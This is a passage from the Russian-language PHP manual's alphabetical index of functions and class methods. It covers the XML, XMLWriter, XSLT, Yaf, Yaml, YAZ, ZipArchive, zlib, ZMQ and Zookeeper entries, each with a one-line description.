    • XMLReader::XML - Установить данные, содержащие XML для разбора
    • xmlrpc_decode - Декодирует XML в нативные типы PHP
    • xmlrpc_decode_request - Декодирует XML в нативные типы PHP
    • xmlrpc_encode - Генерирует XML для PHP значения
    • xmlrpc_encode_request - Генерирует XML для метода запроса
    • xmlrpc_get_type - Получает XML-RPC тип для значения PHP
    • xmlrpc_is_fault - Определяет, является ли массив значений представлением ошибки XMLRPC
    • xmlrpc_parse_method_descriptions - Декодирует XML в список описаний методов
    • xmlrpc_server_add_introspection_data - Добавляет документацию самоанализа
    • xmlrpc_server_call_method - Разбирает XML-запросы и вызывающие методы
    • xmlrpc_server_create - Создаёт сервер XML-RPC
    • xmlrpc_server_destroy - Уничтожает серверные ресурсы
    • xmlrpc_server_register_introspection_callback - Регистрирует функцию PHP для генерации документации
    • xmlrpc_server_register_method - Регистрирует функцию PHP к методу ресурса, соответствующему method_name
    • xmlrpc_set_type - Устанавливает тип XML-RPC, base64 или datetime для значения строки PHP
    • XMLWriter::endAttribute - Завершить атрибут
    • XMLWriter::endCdata - Завершить текущую секцию CDATA
    • XMLWriter::endComment - Завершить комментарий
    • XMLWriter::endDocument - Завершить текущий документ
    • XMLWriter::endDtd - Завершить текущий DTD
    • XMLWriter::endDtdAttlist - Завершить текущий список атрибутов DTD
    • XMLWriter::endDtdElement - Завершить текущий элемент DTD
    • XMLWriter::endDtdEntity - Завершить текущую запись DTD
    • XMLWriter::endElement - Завершить текущий элемент
    • XMLWriter::endPi - Завершить текущую инструкцию обработки (PI)
    • XMLWriter::flush - Сбросить текущий буфер
    • XMLWriter::fullEndElement - Завершить текущий элемент
    • XMLWriter::openMemory - Создать новый объект XMLWriter, используя память для строкового вывода
    • XMLWriter::openUri - Создать новый объект XMLWriter, используя исходный URI для вывода
    • XMLWriter::outputMemory - Возвращает текущий буфер
    • XMLWriter::setIndent - Включить или отключить отступы
    • XMLWriter::setIndentString - Установить строку, используемую для отступов
    • XMLWriter::startAttribute - Создать начальный атрибут
    • XMLWriter::startAttributeNs - Создать стартовый атрибут пространства имён
    • XMLWriter::startCdata - Создать начальный тег CDATA
    • XMLWriter::startComment - Создаёт стартовый комментарий
    • XMLWriter::startDocument - Создать тег документа
    • XMLWriter::startDtd - Создать стартовый DTD тег
    • XMLWriter::startDtdAttlist - Создаёт стартовый список атрибутов DTD
    • XMLWriter::startDtdElement - Создать стартовый элемент DTD
    • XMLWriter::startDtdEntity - Создать стартовую запись DTD
    • XMLWriter::startElement - Создать стартовый тег элемента
    • XMLWriter::startElementNs - Создать стартовый тег элемента пространства имён
    • XMLWriter::startPi - Создать стартовый тег PI
    • XMLWriter::text - Записать текст
    • XMLWriter::writeAttribute - Записать полный атрибут
    • XMLWriter::writeAttributeNs - Записать полный атрибут пространства имён
    • XMLWriter::writeCdata - Записать полный тег CDATA
    • XMLWriter::writeComment - Записать полный тег комментария
    • XMLWriter::writeDtd - Записать полный тег DTD
    • XMLWriter::writeDtdAttlist - Записать полный тег DTD AttList
    • XMLWriter::writeDtdElement - Записать полный тег элемента DTD
    • XMLWriter::writeDtdEntity - Записать полный тег DTD записи
    • XMLWriter::writeElement - Записать полный тег элемента
    • XMLWriter::writeElementNs - Записать полное пространство имён тега элемента
    • XMLWriter::writePi - Записать инструкцию обработки (PI)
    • XMLWriter::writeRaw - Записать необработанный XML-текст
    • xml_error_string - Получение строки ошибки XML-анализатора
    • xml_get_current_byte_index - Получает текущий для XML-анализатора байтовый индекс
    • xml_get_current_column_number - Получает от XML-анализатора номер текущего столбца
    • xml_get_current_line_number - Получает от XML-анализатора номер текущей строки
    • xml_get_error_code - Получает код ошибки XML-анализатора
    • xml_parse - Запускает разбор XML-документа
    • xml_parser_create - Создаёт XML-анализатор
    • xml_parser_create_ns - Создание XML-анализатора с поддержкой пространств имён
    • xml_parser_free - Освобождение XML-анализатора
    • xml_parser_get_option - Получает значения настройки XML-анализатора
    • xml_parser_set_option - Установка значения настройки XML-анализатора
    • xml_parse_into_struct - Разбор XML-данных и помещение в массив
    • xml_set_character_data_handler - Установка обработчика символьных данных
    • xml_set_default_handler - Установка обработчика по умолчанию
    • xml_set_element_handler - Устанавливает обработчик начального и конечного элементов
    • xml_set_end_namespace_decl_handler - Установка обработчика выхода за пределы пространства имён
    • xml_set_external_entity_ref_handler - Установка обработчика внешних сущностей
    • xml_set_notation_decl_handler - Установка обработчика объявления условных обозначений
    • xml_set_object - Использование XML-анализатора внутри объекта
    • xml_set_processing_instruction_handler - Установка обработчика инструкций препроцессора (PI)
    • xml_set_start_namespace_decl_handler - Устанавливает обработчик входа в пределы пространства имён
    • xml_set_unparsed_entity_decl_handler - Установка обработчика неразобранных объявлений сущностей
    • XSLTProcessor::getParameter - Возвращает значение параметра
    • XSLTProcessor::getSecurityPrefs - Получить настройки безопасности
    • XSLTProcessor::hasExsltSupport - Определяет имеет ли PHP поддержку EXSLT
    • XSLTProcessor::importStylesheet - Импортирует таблицу стилей
    • XSLTProcessor::registerPHPFunctions - Включает способность функций PHP работать в качестве функций XSLT
    • XSLTProcessor::removeParameter - Удаляет параметр
    • XSLTProcessor::setParameter - Устанавливает значение параметра
    • XSLTProcessor::setProfiling - Устанавливает файл для профилирования
    • XSLTProcessor::setSecurityPrefs - Установить настройки безопасности
    • XSLTProcessor::transformToDoc - Преобразовывает в документ
    • XSLTProcessor::transformToUri - Преобразовывает в URI
    • XSLTProcessor::transformToXml - Преобразовывает в XML
    • XSLTProcessor::__construct - Создаёт новый экземпляр класса XSLTProcessor
  • y
    • Yac::add - Сохраняет в кеш
    • Yac::delete - Удаляет элементы из кеша
    • Yac::dump - Дамп кеша
    • Yac::flush - Очищает кеш
    • Yac::get - Извлекает значения из кеша
    • Yac::info - Состояние кеша
    • Yac::set - Сохраняет в кеш
    • Yac::__construct - Конструктор класса
    • Yac::__get - Геттер
    • Yac::__set - Сеттер
    • Yaconf::get - Извлечь элемент
    • Yaconf::has - Определить, существует ли элемент
    • Yaf_Action_Abstract::execute - Точка входа для Action-классов
    • Yaf_Action_Abstract::getController - Получить объект контроллер
    • Yaf_Action_Abstract::getControllerName - Получает имя контроллера
    • Yaf_Application::app - Извлечь экземпляр приложения
    • Yaf_Application::bootstrap - Вызвать bootstrap
    • Yaf_Application::clearLastError - Очистка информации по последней ошибке
    • Yaf_Application::environ - Получить значение окружения
    • Yaf_Application::execute - Запустить callback-функцию
    • Yaf_Application::getAppDirectory - Получить директорию приложения
    • Yaf_Application::getConfig - Получить экземпляр класса конфигурации
    • Yaf_Application::getDispatcher - Получить экземпляр класса Yaf_Dispatcher
    • Yaf_Application::getLastErrorMsg - Получить последнее сообщение об ошибке
    • Yaf_Application::getLastErrorNo - Получить код последней ошибки
    • Yaf_Application::getModules - Получить имена заявленных модулей
    • Yaf_Application::run - Запустить Yaf_Application
    • Yaf_Application::setAppDirectory - Изменить директорию приложения
    • Yaf_Application::__construct - Конструктор класса Yaf_Application
    • Yaf_Application::__destruct - Деструктор Yaf_Application
    • Yaf_Config_Abstract::get - Геттер
    • Yaf_Config_Abstract::readonly - Находит конфигурацию только для чтения
    • Yaf_Config_Abstract::set - Сеттер
    • Yaf_Config_Abstract::toArray - Приведение к массиву
    • Yaf_Config_Ini::count - Подсчитывает все элементы в Yaf_Config.ini
    • Yaf_Config_Ini::current - Получает текущее значение
    • Yaf_Config_Ini::key - Получает ключ текущего элемента
    • Yaf_Config_Ini::next - Продвигает внутренний указатель
    • Yaf_Config_Ini::offsetExists - Назначение offsetExists
    • Yaf_Config_Ini::offsetGet - Назначение offsetGet
    • Yaf_Config_Ini::offsetSet - Назначение offsetSet
    • Yaf_Config_Ini::offsetUnset - Назначение offsetUnset
    • Yaf_Config_Ini::readonly - Назначение readonly
    • Yaf_Config_Ini::rewind - Назначение rewind
    • Yaf_Config_Ini::toArray - Возвращает конфигурацию как массив PHP
    • Yaf_Config_Ini::valid - Назначение valid
    • Yaf_Config_Ini::__construct - Конструктор класса Yaf_Config_Ini
    • Yaf_Config_Ini::__get - Получает элемент
    • Yaf_Config_Ini::__isset - Определяет, существует ли ключ
    • Yaf_Config_Ini::__set - Назначение __set
    • Yaf_Config_Simple::count - Назначение count
    • Yaf_Config_Simple::current - Назначение current
    • Yaf_Config_Simple::key - Назначение key
    • Yaf_Config_Simple::next - Назначение next
    • Yaf_Config_Simple::offsetExists - Назначение offsetExists
    • Yaf_Config_Simple::offsetGet - Назначение offsetGet
    • Yaf_Config_Simple::offsetSet - Назначение offsetSet
    • Yaf_Config_Simple::offsetUnset - Назначение offsetUnset
    • Yaf_Config_Simple::readonly - Назначение readonly
    • Yaf_Config_Simple::rewind - Назначение rewind
    • Yaf_Config_Simple::toArray - Возвращает массив PHP
    • Yaf_Config_Simple::valid - Назначение valid
    • Yaf_Config_Simple::__construct - Назначение __construct
    • Yaf_Config_Simple::__get - Назначение __get
    • Yaf_Config_Simple::__isset - Назначение __isset
    • Yaf_Config_Simple::__set - Назначение __set
    • Yaf_Controller_Abstract::display - Назначение display
    • Yaf_Controller_Abstract::forward - Переходит к другому действию
    • Yaf_Controller_Abstract::getInvokeArg - Назначение getInvokeArg
    • Yaf_Controller_Abstract::getInvokeArgs - Назначение getInvokeArgs
    • Yaf_Controller_Abstract::getModuleName - Получает имя модуля
    • Yaf_Controller_Abstract::getName - Получает своё имя
    • Yaf_Controller_Abstract::getRequest - Получает текущий объект запроса
    • Yaf_Controller_Abstract::getResponse - Получает текущий объект ответа
    • Yaf_Controller_Abstract::getView - Получает движок отображения
    • Yaf_Controller_Abstract::getViewpath - Назначение getViewpath
    • Yaf_Controller_Abstract::init - Инициализатор контроллера
    • Yaf_Controller_Abstract::initView - Назначение initView
    • Yaf_Controller_Abstract::redirect - Перенаправляет на URL
    • Yaf_Controller_Abstract::render - Отображает шаблон представления
    • Yaf_Controller_Abstract::setViewpath - Назначение setViewpath
    • Yaf_Controller_Abstract::__construct - Конструктор класса Yaf_Controller_Abstract
    • Yaf_Dispatcher::autoRender - Включает/выключает авторендеринг
    • Yaf_Dispatcher::catchException - Включает/выключает перехват исключений
    • Yaf_Dispatcher::disableView - Отключает механизм просмотра
    • Yaf_Dispatcher::dispatch - Отправляет запрос
    • Yaf_Dispatcher::enableView - Включает механизм просмотра
    • Yaf_Dispatcher::flushInstantly - Включает/выключает мгновенную очистку
    • Yaf_Dispatcher::getApplication - Получает приложение
    • Yaf_Dispatcher::getDefaultAction - Получает имя действия по умолчанию
    • Yaf_Dispatcher::getDefaultController - Получает имя контроллера по умолчанию
    • Yaf_Dispatcher::getDefaultModule - Получает имя модуля по умолчанию
    • Yaf_Dispatcher::getInstance - Получает экземпляр диспетчера
    • Yaf_Dispatcher::getRequest - Получает экземпляр запроса
    • Yaf_Dispatcher::getRouter - Получает экземпляр маршрутизатора
    • Yaf_Dispatcher::initView - Инициализирует представление и возвращает его
    • Yaf_Dispatcher::registerPlugin - Регистрирует плагин
    • Yaf_Dispatcher::returnResponse - Назначение returnResponse
    • Yaf_Dispatcher::setDefaultAction - Изменяет имя действия по умолчанию
    • Yaf_Dispatcher::setDefaultController - Изменяет имя контроллера по умолчанию
    • Yaf_Dispatcher::setDefaultModule - Изменяет имя модуля по умолчанию
    • Yaf_Dispatcher::setErrorHandler - Устанавливает обработчик ошибок
    • Yaf_Dispatcher::setRequest - Назначение setRequest
    • Yaf_Dispatcher::setView - Устанавливает пользовательский механизм отображения
    • Yaf_Dispatcher::throwException - Включает/выключает выбрасывание исключений
    • Yaf_Dispatcher::__construct - Конструктор класса Yaf_Dispatcher
    • Yaf_Exception::getPrevious - Получить предыдущее исключение
    • Yaf_Exception::__construct - Конструктор класса Yaf_Exception
    • Yaf_Loader::autoload - Назначение autoload
    • Yaf_Loader::clearLocalNamespace - Назначение clearLocalNamespace
    • Yaf_Loader::getInstance - Назначение getInstance
    • Yaf_Loader::getLibraryPath - Получает путь к библиотеке
    • Yaf_Loader::getLocalNamespace - Получает всю информацию о зарегистрированных пространствах имён
    • Yaf_Loader::getNamespacePath - Получает путь зарегистрированного пространства имён
    • Yaf_Loader::import - Назначение import
    • Yaf_Loader::isLocalName - Назначение isLocalName
    • Yaf_Loader::registerLocalNamespace - Регистрирует префикс локального класса
    • Yaf_Loader::registerNamespace - Регистрирует пространство имён с путём поиска
    • Yaf_Loader::setLibraryPath - Изменяет путь к библиотеке
    • Yaf_Loader::__construct - Назначение __construct
    • Yaf_Plugin_Abstract::dispatchLoopShutdown - Назначение dispatchLoopShutdown
    • Yaf_Plugin_Abstract::dispatchLoopStartup - Хук перед отправкой цикла
    • Yaf_Plugin_Abstract::postDispatch - Назначение postDispatch
    • Yaf_Plugin_Abstract::preDispatch - Назначение preDispatch
    • Yaf_Plugin_Abstract::preResponse - Назначение preResponse
    • Yaf_Plugin_Abstract::routerShutdown - Назначение routerShutdown
    • Yaf_Plugin_Abstract::routerStartup - Перехватчик RouterStartup
    • Yaf_Registry::del - Удаляет элемент из реестра
    • Yaf_Registry::get - Получает элемент из реестра
    • Yaf_Registry::has - Проверяет, существует ли элемент
    • Yaf_Registry::set - Добавляет элемент в реестр
    • Yaf_Registry::__construct - Yaf_Registry реализует шаблон проектирования "Одиночка"
    • Yaf_Request_Abstract::clearParams - Удаляет все параметры
    • Yaf_Request_Abstract::getActionName - Назначение getActionName
    • Yaf_Request_Abstract::getBaseUri - Назначение getBaseUri
    • Yaf_Request_Abstract::getControllerName - Назначение getControllerName
    • Yaf_Request_Abstract::getEnv - Получает переменную ENV
    • Yaf_Request_Abstract::getException - Назначение getException
    • Yaf_Request_Abstract::getLanguage - Получает предпочтительный язык клиента
    • Yaf_Request_Abstract::getMethod - Получает метод запроса
    • Yaf_Request_Abstract::getModuleName - Назначение getModuleName
    • Yaf_Request_Abstract::getParam - Получает параметр вызова
    • Yaf_Request_Abstract::getParams - Получает все параметры вызова
    • Yaf_Request_Abstract::getRequestUri - Назначение getRequestUri
    • Yaf_Request_Abstract::getServer - Получает переменную SERVER
    • Yaf_Request_Abstract::isCli - Определяет, является ли запрос CLI-запросом
    • Yaf_Request_Abstract::isDispatched - Определяет, отправлен ли запрос
    • Yaf_Request_Abstract::isGet - Определяет, является ли запрос GET-запросом
    • Yaf_Request_Abstract::isHead - Определяет, является ли запрос HEAD-запросом
    • Yaf_Request_Abstract::isOptions - Определяет, является ли запрос OPTIONS-запросом
    • Yaf_Request_Abstract::isPost - Определяет, является ли запрос POST-запросом
    • Yaf_Request_Abstract::isPut - Определяет, является ли запрос PUT-запросом
    • Yaf_Request_Abstract::isRouted - Определяет, был ли запрос направлен
    • Yaf_Request_Abstract::isXmlHttpRequest - Определяет, является ли запрос AJAX-запросом
    • Yaf_Request_Abstract::setActionName - Устанавливает имя действия
    • Yaf_Request_Abstract::setBaseUri - Устанавливает базовый URI
    • Yaf_Request_Abstract::setControllerName - Устанавливает имя контроллера
    • Yaf_Request_Abstract::setDispatched - Назначение setDispatched
    • Yaf_Request_Abstract::setModuleName - Устанавливает имя модуля
    • Yaf_Request_Abstract::setParam - Устанавливает параметр вызова для запроса
    • Yaf_Request_Abstract::setRequestUri - Назначение setRequestUri
    • Yaf_Request_Abstract::setRouted - Назначение setRouted
    • Yaf_Request_Http::get - Получает переменную от клиента
    • Yaf_Request_Http::getCookie - Получает переменную Cookie
    • Yaf_Request_Http::getFiles - Назначение getFiles
    • Yaf_Request_Http::getPost - Получает переменную POST
    • Yaf_Request_Http::getQuery - Получает параметр запроса
    • Yaf_Request_Http::getRaw - Получает необработанное тело запроса
    • Yaf_Request_Http::getRequest - Назначение getRequest
    • Yaf_Request_Http::isXmlHttpRequest - Определяет, является ли запрос Ajax-запросом
    • Yaf_Request_Http::__construct - Конструктор класса Yaf_Request_Http
    • Yaf_Request_Simple::get - Назначение get
    • Yaf_Request_Simple::getCookie - Назначение getCookie
    • Yaf_Request_Simple::getFiles - Назначение getFiles
    • Yaf_Request_Simple::getPost - Назначение getPost
    • Yaf_Request_Simple::getQuery - Назначение getQuery
    • Yaf_Request_Simple::getRequest - Назначение getRequest
    • Yaf_Request_Simple::isXmlHttpRequest - Определяет, является ли запрос AJAX-запросом
    • Yaf_Request_Simple::__construct - Конструктор класса Yaf_Request_Simple
    • Yaf_Response_Abstract::appendBody - Добавляет содержимое к телу ответа
    • Yaf_Response_Abstract::clearBody - Сбрасывает все существующее тело ответа
    • Yaf_Response_Abstract::clearHeaders - Сбрасывает все установленные заголовки
    • Yaf_Response_Abstract::getBody - Получает существующее содержимое
    • Yaf_Response_Abstract::getHeader - Назначение getHeader
    • Yaf_Response_Abstract::prependBody - Назначение prependBody
    • Yaf_Response_Abstract::response - Отправляет ответ
    • Yaf_Response_Abstract::setAllHeaders - Назначение setAllHeaders
    • Yaf_Response_Abstract::setBody - Устанавливает содержимое ответа
    • Yaf_Response_Abstract::setHeader - Устанавливает заголовок ответа
    • Yaf_Response_Abstract::setRedirect - Назначение setRedirect
    • Yaf_Response_Abstract::__construct - Конструктор класса Yaf_Response_Abstract
    • Yaf_Response_Abstract::__destruct - Деструктор класса Yaf_Response_Abstract
    • Yaf_Response_Abstract::__toString - Получает все тело в виде строки
    • Yaf_Router::addConfig - Добавляет настроенные маршруты в маршрутизатор
    • Yaf_Router::addRoute - Добавляет новый маршрут в маршрутизатор
    • Yaf_Router::getCurrentRoute - Получает имя действующего маршрута
    • Yaf_Router::getRoute - Получает маршрут по имени
    • Yaf_Router::getRoutes - Получает зарегистрированные маршруты
    • Yaf_Router::route - Назначение route
    • Yaf_Router::__construct - Конструктор класса Yaf_Router
    • Yaf_Route_Interface::assemble - Собирает запрос
    • Yaf_Route_Interface::route - Направление запроса
    • Yaf_Route_Map::assemble - Собирает URL
    • Yaf_Route_Map::route - Назначение route
    • Yaf_Route_Map::__construct - Назначение __construct
    • Yaf_Route_Regex::assemble - Сформировать URL-адрес
    • Yaf_Route_Regex::route - Цель маршрута
    • Yaf_Route_Regex::__construct - Конструктор класса Yaf_Route_Regex
    • Yaf_Route_Rewrite::assemble - Собирает URL
    • Yaf_Route_Rewrite::route - Назначение route
    • Yaf_Route_Rewrite::__construct - Конструктор класса Yaf_Route_Rewrite
    • Yaf_Route_Simple::assemble - Собирает URL
    • Yaf_Route_Simple::route - Направляет запрос
    • Yaf_Route_Simple::__construct - Конструктор класса Yaf_Route_Simple
    • Yaf_Route_Static::assemble - Собирает URL
    • Yaf_Route_Static::match - Назначение match
    • Yaf_Route_Static::route - Направляет запрос
    • Yaf_Route_Supervar::assemble - Собирает URL
    • Yaf_Route_Supervar::route - Назначение route
    • Yaf_Route_Supervar::__construct - Назначение __construct
    • Yaf_Session::count - Назначение count
    • Yaf_Session::current - Назначение current
    • Yaf_Session::del - Назначение del
    • Yaf_Session::getInstance - Назначение getInstance
    • Yaf_Session::has - Назначение has
    • Yaf_Session::key - Назначение key
    • Yaf_Session::next - Назначение next
    • Yaf_Session::offsetExists - Назначение offsetExists
    • Yaf_Session::offsetGet - Назначение offsetGet
    • Yaf_Session::offsetSet - Назначение offsetSet
    • Yaf_Session::offsetUnset - Назначение offsetUnset
    • Yaf_Session::rewind - Назначение rewind
    • Yaf_Session::start - Назначение start
    • Yaf_Session::valid - Назначение valid
    • Yaf_Session::__construct - Конструктор класса Yaf_Session
    • Yaf_Session::__get - Назначение __get
    • Yaf_Session::__isset - Назначение __isset
    • Yaf_Session::__set - Назначение __set
    • Yaf_Session::__unset - Назначение __unset
    • Yaf_View_Interface::assign - Назначает значение для движка отображения
    • Yaf_View_Interface::display - Отрисовывает и выводит шаблон
    • Yaf_View_Interface::getScriptPath - Назначение getScriptPath
    • Yaf_View_Interface::render - Отрисовывает шаблон
    • Yaf_View_Interface::setScriptPath - Назначение setScriptPath
    • Yaf_View_Simple::assign - Назначить значения
    • Yaf_View_Simple::assignRef - Назначение assignRef
    • Yaf_View_Simple::clear - Сбрасывает назначенные значения
    • Yaf_View_Simple::display - Отрисовывает и отображает
    • Yaf_View_Simple::eval - Отрисовывает шаблон
    • Yaf_View_Simple::getScriptPath - Получает каталог шаблонов
    • Yaf_View_Simple::render - Отрисовывает шаблон
    • Yaf_View_Simple::setScriptPath - Устанавливает каталог шаблонов
    • Yaf_View_Simple::__construct - Конструктор класса Yaf_View_Simple
    • Yaf_View_Simple::__get - Получает назначенную переменную
    • Yaf_View_Simple::__isset - Назначение __isset
    • Yaf_View_Simple::__set - Устанавливает значение для движка
    • yaml_emit - Возвращает YAML-представление значения
    • yaml_emit_file - Отправляет YAML-представление значения в файл
    • yaml_parse - Разбирает поток YAML
    • yaml_parse_file - Разбирает YAML-поток из файла
    • yaml_parse_url - Разбирает YAML-поток из URL
    • Yar_Client::setOpt - Задаёт контекст вызова
    • Yar_Client::__call - Вызов сервиса
    • Yar_Client::__construct - Конструктор Yar_Client
    • Yar_Client_Exception::getType - Получить тип исключения
    • Yar_Concurrent_Client::call - Зарегистрировать конкурентный вызов
    • Yar_Concurrent_Client::loop - Запуск всех зарегистрированный вызовов
    • Yar_Concurrent_Client::reset - Очистить все зарегистрированные вызовы
    • Yar_Server::handle - Запустить сервер RPC
    • Yar_Server::__construct - Конструктор Yar_Server
    • Yar_Server_Exception::getType - Получить тип исключения
    • yaz_addinfo - Возвращает дополнительную информацию в случае возникновения ошибки
    • yaz_ccl_conf - Конфигурирует CCL-парсер
    • yaz_ccl_parse - Вызывает парсер CCL
    • yaz_close - Закрывает соединение YAZ
    • yaz_connect - Подготавливает соединение с сервером Z39.50
    • yaz_database - Определяет базы данных в сеансе
    • yaz_element - Указывает имя набора элементов для поиска
    • yaz_errno - Возвращает номер ошибки
    • yaz_error - Возвращает описание ошибки
    • yaz_es - Подготавливает Extended Service Request
    • yaz_es_result - Проверяет результат Extended Service
    • yaz_get_option - Возвращает значение параметра для подключения
    • yaz_hits - Возвращает количество совпадений для последнего поиска
    • yaz_itemorder - Подготавливает запрос к Z39.50 Item Order с пакетом ILL-Request
    • yaz_present - Готовится к поиску (Z39.50 присутствует)
    • yaz_range - Определяет диапазон записей для извлечения
    • yaz_record - Возвращает запись
    • yaz_scan - Подготовка сканирования
    • yaz_scan_result - Возвращает результат запроса сканирования
    • yaz_schema - Устанавливает схему для возвращаемых значений
    • yaz_search - Подготовка поиска
    • yaz_set_option - Устанавливает параметры для соединения
    • yaz_sort - Задаёт критерий сортировки
    • yaz_syntax - Задаёт предпочитаемый синтаксис для извлекаемой записи
    • yaz_wait - Ожидает выполнения запросов Z39.50 серверами
  • z
    • zend_thread_id - Возвращает уникальный идентификатор текущего потока выполнения
    • zend_version - Получает версию движка Zend
    • ZipArchive::addEmptyDir - Добавляет новую директорию
    • ZipArchive::addFile - Добавляет в ZIP-архив файл по указанному пути
    • ZipArchive::addFromString - Добавляет файл в ZIP-архив, используя его содержимое
    • ZipArchive::addGlob - Добавить файлы из директории в соответствии с шаблоном
    • ZipArchive::addPattern - Добавить файлы из директории в соответствии с шаблоном регулярного выражения PCRE
    • ZipArchive::clearError - Удаляет сообщение об ошибке статуса, системные и/или сообщения модуля zip
    • ZipArchive::close - Закрывает активный архив (открытый или вновь созданный)
    • ZipArchive::count - Подсчитывает количество файлов в архиве
    • ZipArchive::deleteIndex - Удаляет элемент в архиве, используя его индекс
    • ZipArchive::deleteName - Удаляет элемент в архиве, используя его имя
    • ZipArchive::extractTo - Извлекает содержимое архива
    • ZipArchive::getArchiveComment - Возвращает комментарий ZIP-архива
    • ZipArchive::getArchiveFlag - Возвращает значение глобального флага ZIP-архива
    • ZipArchive::getCommentIndex - Возвращает комментарий элемента, используя его индекс
    • ZipArchive::getCommentName - Возвращает комментарий элемента, используя его имя
    • ZipArchive::getExternalAttributesIndex - Извлекает внешние атрибуты записи по её индексу
    • ZipArchive::getExternalAttributesName - Извлечь внешние атрибуты записи по её имени
    • ZipArchive::getFromIndex - Возвращает содержимое элемента по его индексу
    • ZipArchive::getFromName - Возвращает содержимое элемента по его имени
    • ZipArchive::getNameIndex - Возвращает имя элемента по его индексу
    • ZipArchive::getStatusString - Возвращают статус сообщения об ошибке, системный и/или zip-статус
    • ZipArchive::getStream - Получить дескриптор файла элемента, определённый по имени элемента (только для чтения)
    • ZipArchive::getStreamIndex - Получает обработчик файла для записи, определённой её индексом (только для чтения)
    • ZipArchive::getStreamName - Получает обработчик файла для записи, определённой её именем (только для чтения)
    • ZipArchive::isCompressionMethodSupported - Проверяет, поддерживается ли метод сжатия libzip
    • ZipArchive::isEncryptionMethodSupported - Проверяет, поддерживается ли метод шифрования libzip
    • ZipArchive::locateName - Возвращает индекс элемента в архиве
    • ZipArchive::open - Открывает ZIP-архив
    • ZipArchive::registerCancelCallback - Регистрирует callback-функцию для разрешения отмены во время закрытия архива
    • ZipArchive::registerProgressCallback - Регистрирует callback-функцию для предоставления обновлений при закрытии архива
    • ZipArchive::renameIndex - Переименовывает элемент по его индексу
    • ZipArchive::renameName - Переименовывает элемент по его имени
    • ZipArchive::replaceFile - Заменяет файл в ZIP-архиве заданным путём
    • ZipArchive::setArchiveComment - Устанавливает комментарий к ZIP-архиву
    • ZipArchive::setArchiveFlag - Устанавливает глобальный флаг ZIP-архива
    • ZipArchive::setCommentIndex - Устанавливает комментарий к элементу по его индексу
    • ZipArchive::setCommentName - Устанавливает комментарий к элементу, заданному по имени
    • ZipArchive::setCompressionIndex - Установить метод сжатия записи, заданной её индексом
    • ZipArchive::setCompressionName - Установить метод сжатия записи, заданной по имени
    • ZipArchive::setEncryptionIndex - Установить метод шифрования записи по её индексу
    • ZipArchive::setEncryptionName - Установить метод шифрования записи по её имени
    • ZipArchive::setExternalAttributesIndex - Установить внешние атрибуты записи по её индексу
    • ZipArchive::setExternalAttributesName - Установка внешних атрибутов записи, заданной по имени
    • ZipArchive::setMtimeIndex - Установить время модификации файла по его индексу
    • ZipArchive::setMtimeName - Установить время модификации файла по его имени
    • ZipArchive::setPassword - Установка пароля для активного архива
    • ZipArchive::statIndex - Получение детальной информации о элементе по его индексу
    • ZipArchive::statName - Получение детальной информации об элементе по его имени
    • ZipArchive::unchangeAll - Отменяет все изменения, сделанные в архиве
    • ZipArchive::unchangeArchive - Возвращает все глобальные изменения, сделанные в архиве
    • ZipArchive::unchangeIndex - Отменяет все изменения у позиции с заданным индексом
    • ZipArchive::unchangeName - Отменяет все изменения у позиции с заданным именем
    • zip_close - Закрывает дескриптор ZIP-архива
    • zip_entry_close - Закрывает дескриптор директории
    • zip_entry_compressedsize - Возвращает сжатый размер файла для дескриптора директории
    • zip_entry_compressionmethod - Возвращает метод сжатия дескриптора директории
    • zip_entry_filesize - Возвращает реальный размер файла для дескриптора директории
    • zip_entry_name - Получает имя дескриптора директории
    • zip_entry_open - Открывает директорию для чтения
    • zip_entry_read - Читает данные из открытого ранее дескриптора директории
    • zip_open - Открывает ZIP-архив
    • zip_read - Считывает следующую запись в ZIP-архиве
    • zlib:// - Сжатые потоки
    • Zlib context options - Перечисление опций контекста Zlib
    • zlib_decode - Распаковывает любые закодированные данные raw/gzip/zlib
    • zlib_encode - Сжатие данных с указанной кодировкой
    • zlib_get_coding_type - Возвращает способ кодирования, используемый для сжатия вывода
    • ZMQ::__construct - Конструктор ZMQ
    • ZMQContext::getOpt - Получить опцию контекста
    • ZMQContext::getSocket - Создаёт новый сокет
    • ZMQContext::isPersistent - Является ли контекст постоянным
    • ZMQContext::setOpt - Установить опцию сокета
    • ZMQContext::__construct - Конструктор ZMQContext
    • ZMQDevice::getIdleTimeout - Получить время ожидания бездействия
    • ZMQDevice::getTimerTimeout - Получить время ожидания таймера
    • ZMQDevice::run - Запуск нового устройства
    • ZMQDevice::setIdleCallback - Установить callback-функцию бездействия
    • ZMQDevice::setIdleTimeout - Установить время ожидания простоя
    • ZMQDevice::setTimerCallback - Установить callback-функцию по таймеру
    • ZMQDevice::setTimerTimeout - Установить время ожидания таймера
    • ZMQDevice::__construct - Создаёт новое устройство
    • ZMQPoll::add - Добавить элемент в пул опроса
    • ZMQPoll::clear - Очистить пул опроса
    • ZMQPoll::count - Количество элементов в пуле опроса
    • ZMQPoll::getLastErrors - Возвращает ошибки последнего опроса
    • ZMQPoll::poll - Опросить все элементы пула
    • ZMQPoll::remove - Удалить элемент из пула опроса
    • ZMQSocket::bind - Привязка сокета
    • ZMQSocket::connect - Подключение к сокету
    • ZMQSocket::disconnect - Отключает сокет
    • ZMQSocket::getEndpoints - Получить список конечных точек
    • ZMQSocket::getPersistentId - Получить идентификатор постоянного сокета
    • ZMQSocket::getSocketType - Получить тип сокета
    • ZMQSocket::getSockOpt - Получить опцию сокета
    • ZMQSocket::isPersistent - Определить, является ли сокет постоянным
    • ZMQSocket::recv - Получить сообщение
    • ZMQSocket::recvMulti - Получить сообщение, состоящее из нескольких частей
    • ZMQSocket::send - Послать сообщение
    • ZMQSocket::sendmulti - Послать сообщение, состоящее из нескольких частей
    • ZMQSocket::setSockOpt - Установить опцию сокета
    • ZMQSocket::unbind - Отвязывает сокет
    • ZMQSocket::__construct - Конструктор класса ZMQSocket
    • Zookeeper::addAuth - Указывает учётные данные приложения
    • Zookeeper::close - Закрывает обработчик zookeeper и освобождает любые ресурсы
    • Zookeeper::connect - Создаёт дескриптор для общения с zookeeper
    • Zookeeper::create - Создаёт синхронно узел
    • Zookeeper::delete - Удаляет синхронно узел в zookeeper
    • Zookeeper::exists - Синхронно проверяет наличие узла в zookeeper
    • Zookeeper::get - Синхронно получает данные, связанные с узлом
    • Zookeeper::getAcl - Синхронно получает ACL, связанный с узлом
    • Zookeeper::getChildren - Выводит список потомков узла синхронно
    • Zookeeper::getClientId - Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)
